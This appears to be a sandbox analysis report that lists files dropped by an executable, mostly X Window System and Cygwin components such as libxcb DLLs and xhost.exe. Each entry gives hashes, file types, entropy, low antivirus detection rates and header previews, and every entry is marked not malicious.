MD5:	C6E473BBED2FA26953BEBFDD0B66419F
SHA1:	226E16684E02C6331F7EE82D02D058E2C55F8BA5
SHA-256:	620A7E658AF05CC848091B8A639854B9B15700A9061B4A3D078523653133A4AF
SHA-512:	277419EAFCEC04618304F19B8B5B4AA55E0233FD6118D92A41D51447F210BE382AAC9098F3476B9D5891EC180C4D3450FA556705E6CD0E6E2B414097860F0E9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.........~.....................m.................................u........ .................................p.......P...............................................................................h............................text...d...........................`.P`.data...T...........................@.0..rdata....... ......................@.0@/4......`F...0...H..................@.0@.bss....X.............................p..edata...............R..............@.0@.idata..p............d..............@.0..CRT....0............p..............@.0..tls.... ............r..............@.0..rsrc...P............t..............@.0..reloc...............z..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	135182
Entropy (8bit):	5.98508601192037
Encrypted:	false
SSDEEP:	3072:aIGpdymum+ToZU+DXGzm7YVB7h0We49UP9PXrW:9mTj++zGzmcVB7h0h49UP9/rW
MD5:	A4212BE49E5CE8F3BF3950CA32C4BF14
SHA1:	53F8E986E5FA3844EB73F063ED01772B53BC2504
SHA-256:	394D2D862F2DDCE71F28D9B933B21A7D6C621C80EF28652574F758F77F01F716
SHA-512:	74520D3B3749D2B61E8A970C1FB29C588F98CE477EAC4CED8837420153A6E739303ACA15ED7D1E070125AFA7F3EE32E452815EF1AF135F8ED39EF2FCE9D333AB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....2...................P.....m.......................................... ..........................M...@.. ............................p..x............................`......................@B...............................text...D1.......2..................`.P`.data...D....P.......6..............@.0..rdata..P....`.......8..............@.0@/4...... Y.......Z...P..............@.0@.bss....(.............................p..edata...M.......N..................@.0@.idata.. ....@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc..x....p......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	97294
Entropy (8bit):	5.832388919684223
Encrypted:	false
SSDEEP:	768:jI00O9W5uWdXoNS2+3rwBmNi9Tuy+2qbPYnqNneNknGTbaqR+niZVGhoD05KhmvV:k0ZsjiWTpOI1
MD5:	C34C77BF9F0407826F8C143B2ED0091A
SHA1:	6763EC1E15B129E0F4CB9EA923716BE4DEA6084A
SHA-256:	AF28820EBEFF29375A3D66DC4044A6C98984A49F9EB0C0F01827C7BA5250E3D1
SHA-512:	C9082EDE99C978A4FC62898CA44DCC4096577B971A4DEBB319D1BA1C3E739CA41B11669D4A56404E7177A9737467C0D10C3EFD09D622190515043C5CA1E8512B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.\|.........#.........x.....................m.......................................... ......................P..7T...........................................................................................................................text...............................`.P`.data...$...........................@.0..rdata..............................@.0@/4.......H.......J..................@.0@.bss....(....@........................p..edata..7T...P...V..................@.0@.idata...............l..............@.0..CRT....,............r..............@.0..tls.... ............t..............@.0..reloc...............v..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	5.763041222354717
Encrypted:	false
SSDEEP:	384:MQg1oL5xGT8So2/8iC6KcIId6dTGtDVHJsH9I8qxeHt6Lboi7:1g4i8i5EdTUpGdrBMLV
MD5:	A3718D24F0E6EAE9D6121A1219381AE9
SHA1:	A3377F64D8FB6162F6280D3D924626C1FC6A2FE7
SHA-256:	CB220267FB0116B298BAB6A09A764420D630C52026F7D750F8FFCA4818389327
SHA-512:	43F9C760BE222490D43CBD9589B4AFBC64759919993A1957A13A753CFCC9D94059DBA0B5400A745C377C7BEA1F02F4F8F6F952BEE5B7ED33F6A49EFAEC62E9F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.d.........#.....2...`...............P.....m................................$;........ ......................................................................................................................................................text...T0.......2..................`.P`.data........P.......6..............@.0..rdata..4....`.......8..............@.0@/4......(....p.......@..............@.0@.bss....(.............................p..edata...............N..............@.0@.idata...............R..............@.0..CRT....,............\..............@.0..tls.... ............^..............@.0..reloc...............`..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	19470
Entropy (8bit):	5.5382250891949925
Encrypted:	false
SSDEEP:	192:w/gaEEPQOv7AV2SbsZ/oBtUoBx1tFnMDRlqbE9ubTtEHL+zJjIOaDTTsGzXKMy73:MgIv7AV2SbsoBCoBntUSd7z0y74Yd97
MD5:	557ED85A1D8A3308E552A77A9902E8CF
SHA1:	A9ACF7A1DB500A734E95038B29C0BD90F7AF59E7
SHA-256:	E102C9C5B22CEB60DC516AB4124BEA8EC8E808B08EEC48EA7AC674D13FCA82EF
SHA-512:	110ACFC0B886A1FF77B5452E2F813213630BA2EB4610E06942A59DA78E516E05893B049C0D1DDCC077EBABB3A9490CF84FB41F31B62822C9365B60A1B38FD4B8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.L.........#....."...H...............@.....m.......................................... .........................1.......................................t...................................................$................................text...$ ......."..................`.P`.data...$....@.......&..............@.0..rdata..t....P.......(..............@.0@/4...........`......................@.0@.bss....(....p........................p..edata..1............:..............@.0@.idata...............>..............@.0..CRT....,............D..............@.0..tls.... ............F..............@.0..reloc..t............H..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	24078
Entropy (8bit):	5.9176234058949495
Encrypted:	false
SSDEEP:	384:FlSwg+49czS++g6Od6e4um1J47E6Lx7Ow7qOocOS1:FlWgPdX66wwQJk
MD5:	EE6788D3D3750421E01519A27F86634E
SHA1:	48F4C7DC7BD1208F07E4176E78F035D36682D687
SHA-256:	B5ACF358FF97127EAC9EF4C664A980B937376B5295EF23D77EE338225DE10D60
SHA-512:	12EF0AC4CF9C8461044317E693BCFABDB4BEB34A222B635BA50F6652B5A91B92FF20CB19E916AC60DCA3E8314B7D8CEC710A1C730374BB8F260B8D94F57C9775
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.^.........#....."...Z...............@.....m................................z/........ .................................x...................................................................................l................................text....!......."..................`.P`.data........@.......&..............@.0..rdata.......P.......(..............@.p@/4......P....p.......:..............@.0@.bss....(.............................p..edata...............H..............@.0@.idata..x............L..............@.0..CRT....,............V..............@.0..tls.... ............X..............@.0..reloc...............Z..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\protocol.txt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31246
Entropy (8bit):	5.346585834560184
Encrypted:	false
SSDEEP:	768:Kbymx2BnE6BmPzq9+4qI0zLbQz+Ijhs1r0CgiIiHkQZf:Kbnx2BnE6BmPzqx0zLbq+Ijhs2CgiIi7
MD5:	3F8EA5489353F655CA9A948574F02E20
SHA1:	60C509BF7A25C82D432A8E83CEC2B9E6FC917793
SHA-256:	9DBB763F6422CA6A8BABB4A9E3DC2DCD9A8C65C78A230B7066402D5E8175220F
SHA-512:	9A8B31FBCFFBD0239476E1B157FD8EAB8A633B9151E36602476D579B426228FB1A45225595E9F5D35DCB7129DDE996DB1FFFBE156D5D614AB199467F008D1D0A
Malicious:	false
Preview:	# Registry of protocol names used by X Server.# This will eventually be replaced by server-side XCB.#.# Format is Xnnn <extension-name>:<object-name>.# R=Request, V=Event, E=Error.#.# This is a security-sensitive file, please set permissions as appropriate..#.R001 Adobe-DPS-Extension:Init.R002 Adobe-DPS-Extension:CreateContext.R003 Adobe-DPS-Extension:CreateSpace.R004 Adobe-DPS-Extension:GiveInput.R005 Adobe-DPS-Extension:GetStatus.R006 Adobe-DPS-Extension:DestroySpace.R007 Adobe-DPS-Extension:Reset.R008 Adobe-DPS-Extension:NotifyContext.R009 Adobe-DPS-Extension:CreateContextFromID.R010 Adobe-DPS-Extension:XIDFromContext.R011 Adobe-DPS-Extension:ContextFromXID.R012 Adobe-DPS-Extension:SetStatusMask.R013 Adobe-DPS-Extension:CreateSecureContext.R014 Adobe-DPS-Extension:NotifyWhenReady.R000 Apple-DRI:QueryVersion.R001 Apple-DRI:QueryDirectRenderingCapable.R002 Apple-DRI:CreateSurface.R003 Apple-DRI:DestroySurface.R004 Apple-DRI:AuthConnection.V000 Apple-DRI:ObsoleteEvent1.V001 Apple-DRI:O

C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	57870
Entropy (8bit):	6.133392932650741
Encrypted:	false
SSDEEP:	768:cEB24kkfvkpULi7TIixUfrgRT6QEespXyh4jrNMFn5HbJIF1/9cTtWO:dBJNSI63fRLMih4jrNObG/9GWO
MD5:	7868EDA4CB74545D0051AC5A029D9292
SHA1:	8A9D9A07323F1E0BAB5F63CFB947C0C31E09578E
SHA-256:	E2C3114C6C4F85BCD59236936E889FB8C937D48AE55971089899D98978F5837F
SHA-512:	CA3FA71A621E0EC6C13AEBBEF3153D22B7206D79A19AD078DB63649557609AD0F5FD0144E721AF689C24AD1D5D771B37E3D4B831707F531E77D8184BFED640E9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.................................................@..........................P......~......... .................................l....@.......................................................0..........................d............................text...............................`.P`.data...............................@.p..rdata.. ......."..................@.`@/4..................................@.0@.bss....L.............................p..idata..l...........................@.0..CRT....4.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\sh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	26
Entropy (8bit):	4.238901256602631
Encrypted:	false
SSDEEP:	3:wb4uHMLKHx3ovn:wbNHMLKHevn
MD5:	5ABCF1329A8F3125AB5CB30D64C0EA63
SHA1:	81215484527DA30BC0A96CE016CE5342AF4AB9B8
SHA-256:	5049581B0D01A4BAB91F34009A6E93A785CC406B529CB5267770CA8B9B15C89D
SHA-512:	00CE696B50A31845F7B0444B055772730219276C11A9FCA9DF4411B517EC0245FF55328D78F22CE1B544B23288A3ACB8A3EB5ADCF2D2A030825770C3845CF5BD
Malicious:	false
Preview:	!<symlink>/bin/bash.exe...

C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5761550
Entropy (8bit):	6.331794397000934
Encrypted:	false
SSDEEP:	49152:WkDOXR+Yow66p7pJRqpvQfDlNXWHnCgJf1oQNbpn+1rhEFdwQj6yoclwwPUHQa:WUYow6+R+QhNXWHCgJf1ArGDlBPUH/
MD5:	05FDC592AF4F67CE10CFE808201E9FA6
SHA1:	64A60C22B9EF98E0F897B71911F1424D3A39ACEA
SHA-256:	E958D03DB79E9F1D2770C70A5BC24904AA3E2D27A8D5637684CF8166B38908F2
SHA-512:	856345BE44E6CA3A211BC5A05E41035A28373AC19BD35C09B4352EA74A2B791710CDFD111EC6E27919E57C7BC74F2EB1BFBF2C1C9CFA607672869B3180001213
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU..W........#.....(A...W.. ...........@A...Om..........................[......8X....... .......................V......0Y..............................pY.d............................`Y.....................$3Y..............................text....&A......(A.................`.P`.data...H....@A......,A.............@.p..rdata...E....A..F....A.............@.p@/4......LQ... K..R....J.............@.0@.bss..........S.......................p..edata........V......JS.............@.0@.idata.......0Y.......U.............@.0..CRT....,....PY.......U.............@.0..tls.... ....`Y.......U.............@.0..reloc..d....pY.......U.............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	168462
Entropy (8bit):	6.083349054240189
Encrypted:	false
SSDEEP:	3072:6nPSCj+youG4eDtJWfztJuBS4dM1FULGeK4aTElNVj7GxKjDciScKhkZd:6PSCj+y9mZJsqBS8Oe0WNVPGxKjD5d
MD5:	2AA156E64DAADED05730CC6B1B228F8E
SHA1:	0E1EB3FC195C95E8C4EB4447F8126B316AEB8A38
SHA-256:	7F6195073AE55EDEEBC13BFC69495C75006FB101EE6B1C53262C89B4FC448C16
SHA-512:	9CD2C904DE7E9B620C6A83B4C4A1AA9EA7D5146BFECC7EBF4158733998DAA6BFD56E07B31CBCE887B9798E589269CB99ADB73DE952632E861ECC9CD3911EA569
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z.B..........................*................@.................................H......... .....................................................................................................................\|................................text...t...........................`.P`.data...............................@.p..rdata..HW.......X..................@.p@/4......t8...`...:...8..............@.0@.bss.....(............................p..idata...............r..............@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	21518
Entropy (8bit):	5.624677131388813
Encrypted:	false
SSDEEP:	384:uWX5abvPDhKzQAJ5/Lu6tHiSX0bfqJCWO:uW4mNqtWO
MD5:	6B9B189CCC477A4E3BBD7DA3BDB26E00
SHA1:	C0AB24EADDE8BE5DD3AFA6A2C6AA8EF9AF271AAB
SHA-256:	A434D78D4559DA2F198F9A7F19C3CD58619B8E34ED7F615EEA757582B436D84F
SHA-512:	6C8B8F38B8AD050322555E7864946FBD4B7DA9EE0406E0E9B9C9C790D0E9A0F4142C26D1BF660D607BE166D472ACB578ED7F0C5F1DDAE810D413B82D8C13854F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........T...............$...P...............@....@..................................w........ .................................\|.......................................................................................0............................text....#.......$..................`.P`.data...8....@.......(..............@.0..rdata.......P.......*..............@.0@/4...........`.......6..............@.0@.bss.........p........................p..idata..\|............@..............@.0..CRT....4............J..............@.0..tls.... ............L..............@.0..rsrc................N..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	297998
Entropy (8bit):	6.239291524254066
Encrypted:	false
SSDEEP:	6144:J1iSvLlkl4ySmNOnm9MoNFi5L4/WFe64sC88fX3dm56fj:3vL6l4RnIMoNFEL4/WFmf9F
MD5:	B2B22157777ED19C9F1369E2D45C1510
SHA1:	E516B6BAA035F3B852799A88EBBFBA3848B12E60
SHA-256:	0693CFA59AA1F79B1D401AF22D6DD33C1AD64297165345FEF6FEA663B94E91F5
SHA-512:	2B8D558808AD839DEAB960D435D13F240182E16FC8D79292E10E81D5733EE1A5CB7AC7952D43A42CA85BA412EC0EEA0C8B8A576726208B6B836BC00964327F75
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................$.......$...........@....@........................................... .........................................................................................................................H............................text....#.......$..................`.P`.data........@.......(..............@.p..rdata.......P.......8..............@.p@/4......Xc...0...d..................@.0@.bss....l#............................p..idata...............x..............@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	19982
Entropy (8bit):	5.560310572631033
Encrypted:	false
SSDEEP:	384:YBWQZT30JuwPwtlWc2CX4Mo0rSrAoxCWO:YBJD9lnpo0eUWO
MD5:	C653D84722A3FB5174E0022F2E604AA3
SHA1:	61364E691811FD65AE072D263E4AF1F287DF429E
SHA-256:	5F85BF253584876C20F6F062E20E56D2707FAD41ECB91218779FD0AD4E65FDEE
SHA-512:	DEADFE9A012250888C23113F79E10B4D97BDDBFA1CA74DD7EB29AA79D634F686F7399B2CD3036707ECD947C73C6D96CA29273F1E19A0878E2644CC18BAC564AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........N............... ...J...............0....@..................................K........ ..............................p......................................................................................dq...............................text...t........ ..................`.P`.data...8....0.......$..............@.0..rdata..H....@.......&..............@.0@/4...........P.......2..............@.0@.bss.........`........................p..idata.......p.......<..............@.0..CRT....4............D..............@.0..tls.... ............F..............@.0..rsrc................H..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23054
Entropy (8bit):	5.656092882446813
Encrypted:	false
SSDEEP:	384:F0/JKHROF0/Cfe2vMf5hiDFND3L6XS2MZCWO:FEPy6WzmFYiyWO
MD5:	DF978C7B239A219E157133885A3A308D
SHA1:	F4FF6380FCFC4AAC6D1AB478CE74BD2F816C850D
SHA-256:	CB7373ABF3469E8CA6BD0BA21C5E01FB6A4BC6D71547D26EE264D98F0177D9D4
SHA-512:	6D1A9C1606AE59645582C9BB9862E71296823A3374B86640A1E9A1CC94D369391AA3452BBDAEDBB24BF8770E969224946156D46AB88800AA0A8A2B5B3CD70590
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.Z..................V...............@....@........................................... .........................................................................................................................4............................text....).........................`.P`.data...<....@......................@.0..rdata.......P.......0..............@.0@/4......H....`.......:..............@.0@.bss.........p........................p..idata...............F..............@.0..CRT....4............P..............@.0..tls.... ............R..............@.0..rsrc................T..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	27150
Entropy (8bit):	5.800489069231899
Encrypted:	false
SSDEEP:	384:7may3xH6yjpEuwYnB1po8N/Gxav5mXkC+gSqfxoNoASlkKCWO:7RWjpHwYnB1ponXF+gPeqpkWO
MD5:	18B1CA55FF3515EF28C7FAA1C0B528D9
SHA1:	8CEC74F9B405C51B5EB9BA073369A6B513840F24
SHA-256:	A7469445B67E94CB3E9A4B95DAA169056B5F8165B9FC93430B2759063C2C41A8
SHA-512:	2ED5A973069F14C764E8BB7772F853163B86967AAA4BF23A967FB388F8A657A833E06F1C854EA5D920BFA4175F5A2021E18EE2C9F237CACF07F5D6B6C21D931A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........j...............0...f...............@....@.................................. ........ .........................................................................................................................<............................text..../.......0..................`.P`.data...H....@.......4..............@.0..rdata.......P.......6..............@.`@/4...........p.......J..............@.0@.bss..................................p..idata...............V..............@.0..CRT....4............`..............@.0..tls.... ............b..............@.0..rsrc................d..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	39438
Entropy (8bit):	5.927657238925169
Encrypted:	false
SSDEEP:	384:E7W7UlQPOrAGEXxYP1az1jfH6vgqQrkLQ8iD+NkfiFCsK/aUUWNIZ2cXQ28+hm+r:E6tQAGYOMGQrkZGsmWa4XDk+7W4WO
MD5:	D624505E5C14E463AA13DEC7C72FA6DF
SHA1:	59100A98247566D73706CC82BD61EEA875639467
SHA-256:	D82D728366DF0109846395D8F95EA0A88133AEA0E69590980BEACA443BAA6819
SHA-512:	75D2292F76B679106A18253F916A9395C35A555565CC553CB71C057E7E30493C2224E5D8622CD68C4389D6A093BF65469B9F16A47DA9F5C12118648EEEA9603E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................L...................`....@........................................... .................................X.......................................................................................x............................text....K.......L..................`.P`.data...4....`.......P..............@.`..rdata..l....p.......R..............@.`@/4......p............p..............@.0@.bss..................................p..idata..X...........................@.0..CRT....4...........................@.0..tls.... ...........................@.0..rsrc...............................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	40974
Entropy (8bit):	6.15509513993494
Encrypted:	false
SSDEEP:	768:+Eb2ojutE48t2/fkrKk/hS+DMXKIXPUE04P6r+FWO:5b2ojunQ0+gRfUE04P6rEWO
MD5:	2369D500678F5DB204C11F067F25D14F
SHA1:	C326C0B9FC6CC5779AEA6FD3B30274E4EF67EB9D
SHA-256:	C81169DBD40D3FF3886AACD9A28834B629CF31D5E6EA72AEA5C566DABBA4A34D
SHA-512:	1BCAD73A493CCEF45024079521BFC0630FEBA8A83D964DEB3168280CCE57E733C39933F14C25488E7EAD439C192E53EE0ABC89FB54CEEFDC99E26A2A659D82A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................N.......L...........`....@..........................@......D=........ .................................X....0....................................................... .......................................................text....M.......N..................`.P`.data........`.......R..............@.`..rdata..@!...p..."...X..............@.`@/4...................z..............@.0@.bss....DK............................p..idata..X...........................@.0..CRT....4...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	33294
Entropy (8bit):	5.954880258691992
Encrypted:	false
SSDEEP:	384:qapxEK7vr4ylCN8iI6A3OOvs33+Ginj/yytoHZzr35H03ppt9xS73t0JlCWO:qCPrlCN8imTx1UrpH039C73WO
MD5:	681650D2D6B54441DF9B8618348C0696
SHA1:	7BF695541F47C808827D92DC562826A748972035
SHA-256:	977D1BF4EF969B98FF0A5CE7E18CC9007238056C24CA7A58D17ACCE75211D5C1
SHA-512:	E1F4207BC937AEE546F86318EB5C558F642E4A3E4729B3664E0B45C5D0CDDD8E79402A598EFE62191B0D2E0A3EC1A52F94539E0BC28375FC3575308D618E0945
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.................D...~...............`....@........................................... .....................................................................................................................................................text....C.......D..................`.P`.data...@....`.......H..............@.0..rdata.......p.......J..............@.`@/4......,............\..............@.0@.bss....D.............................p..idata...............l..............@.0..CRT....4............x..............@.0..tls.... ............z..............@.0..rsrc................\|..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92174
Entropy (8bit):	6.466938872946625
Encrypted:	false
SSDEEP:	1536:pQrGMvscpi5FEexSwqJFQjF2P5kzfWan9USUnToIfAIO6IOq89CVxX:pahexSwqJFQjF2wUrTBf2Iq6AxX
MD5:	7E507AF32CA219D2F832CF8D90CA805B
SHA1:	4EB56C6F4184EFC5A6BB5C7CAB46547CFA769744
SHA-256:	3668C6749DB59A6CBC5293D0A4F904F76D6FB5048704449DD53894916F408A57
SHA-512:	D19C6A0A0798DB42490631AA9E30DA4200E0B687250DAA5EC8BCFE68AE2589A523ADEACB6C77544488DDC7610FA84BE7477A92C2A27605537A0CAEC2449C87F1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.h.........#.........d.....................m.................................I........ .........................,....... ...................................................................................,................................text...............................`.P`.data...X...........................@.0..rdata...M.......N..................@.p@/4......."...P...$...(..............@.0@.bss....(.............................p..edata..,............L..............@.0@.idata.. ............V..............@.0..CRT....,............^..............@.0..tls.... ............`..............@.0..reloc...............b..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\cygdrive

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:wb4uBfn:wbNBf
MD5:	2064A8DFFC77A2130D9F64018604769E
SHA1:	D500AE449C156BF0FA0704597A20D9D225C0FF64
SHA-256:	D7F3656E9078257BD9B7558EE2D01E94D3C30B81F035FA3417B745139C9ECCB8
SHA-512:	6DDAD200B271ADF4363AED239F40A85371251697B7DF2F32287A5F284F40CF25DC9156666687EA7F6D30BA5CCC8E277472DAFEFD739D0C44A7EA723786396648
Malicious:	false
Preview:	!<symlink>/drives...

C:\Users\user\AppData\Local\Temp\Mxt242\etc\baseprofile

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (741)
Category:	dropped
Size (bytes):	18300
Entropy (8bit):	5.139492544768215
Encrypted:	false
SSDEEP:	384:8j1qEbJ6v9Fq/1bXioJujgk9R3DO1kZ+P9q:8j1t1q9Fq/1bXioJVgRDO1kZ+Vq
MD5:	7D0FB66333FE2DDAF38BC069496703FA
SHA1:	CBB20C89E802511CBEE0C7730E9EF30C2644AD72
SHA-256:	D53E0DACB1DA5163E92CFE2789720ADF04C14F67FF88CEE2D0EF87CA6BE98E91
SHA-512:	D1EABC615352BE33828211670E2C4A887EB7029084AB3C28215BC88344A4E7128FEC141AC57ED7167718B528C48ED993A088CC360722A860470DFBD5C796C534
Malicious:	false
